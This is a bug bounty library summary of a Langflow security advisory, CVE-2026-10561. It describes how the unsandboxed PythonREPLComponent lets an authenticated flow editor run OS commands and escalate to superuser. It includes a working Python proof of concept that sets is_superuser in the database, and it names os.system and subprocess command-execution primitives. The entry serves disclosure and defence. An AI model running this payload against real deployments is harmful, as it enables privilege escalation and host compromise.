# Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation

Langflow's PythonREPLComponent ran user Python in-process without sandboxing, letting any authenticated flow editor execute OS commands and flip is_superuser in the DB.

- Payout: Research
- Severity: critical
- Program: Langflow
- Found by: XlabAITeam, pkuGenuine, keenanwgn, andifilhohub
- Disclosed: 2026-10-06
- CVE: CVE-2026-10561
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8qpj-27x8-pwpq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8qpj-27x8-pwpq
- Tags: area:ai domain:ai domain:web impact:internal-access impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:rce

**Target:** PythonREPLComponent / PythonREPLToolComponent flow components
**Root cause:** Component passed raw input to LangChain's PythonREPL, which is not a sandbox; get_globals() never set __builtins__, so exec() auto-injected full builtins regardless of the global_imports allow-list, and no server-policy gate was consulted before execution.
**Steps:**
1. Authenticate as a normal (non-superuser) user.
2. Create a flow containing the `PythonREPLComponent`.
3. Execute Python that imports Langflow internals and elevates the account: `import asyncio` / `from sqlmodel import select` / `from langflow.services.database.models.user.model import User` / `from langflow.services.deps import session_scope`, then an async `escalate()` that selects the User by username, sets `user.is_superuser = True`, and commits via `session_scope()`.
4. Run the flow; code executes in-process with service privileges.
**How found:** Code review of get_globals(): the exec globals were built from the global_imports allow-list but __builtins__ was never set, so CPython auto-injected the full builtins module — falsifying the 'only Global Imports modules' guarantee. Separately, the components never consulted allow_custom_components, so locked-down deployments still executed interpreter code.
**Exploitation:** Any authenticated user able to edit and run a flow supplies arbitrary Python to the interpreter component. Because exec globals lacked a restricted __builtins__, `__import__("os").system(...)` or `__import__("subprocess").check_output([...])` reachable even under the default global_imports allow-list. The PoC opens a DB session via session_scope(), selects the attacker's User row, sets is_superuser=True and commits, escalating to superuser; alternatively OS command execution with the service's privileges.
**Escalation:** From arbitrary Python in-process, pivot to direct database access through Langflow's own session_scope() to flip is_superuser, or run OS commands to compromise the host.
**Insight:** When a component builds exec() globals from an allow-list, always check whether __builtins__ is explicitly set — omitting it silently restores __import__/open/eval. Also verify that 'disable custom components' policy flags are actually consulted by every code-execution path, not just the UI.

## Proof of concept (copied exactly from the original report)

**Python payload escalating user to superuser**

```
import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope

async def escalate():
    async with session_scope() as session:
        stmt = select(User).where(User.username == 'testuser')
        user = (await session.exec(stmt)).first()
        if user:
            user.is_superuser = True
            session.add(user)
            await session.commit()

asyncio.run(escalate())
```

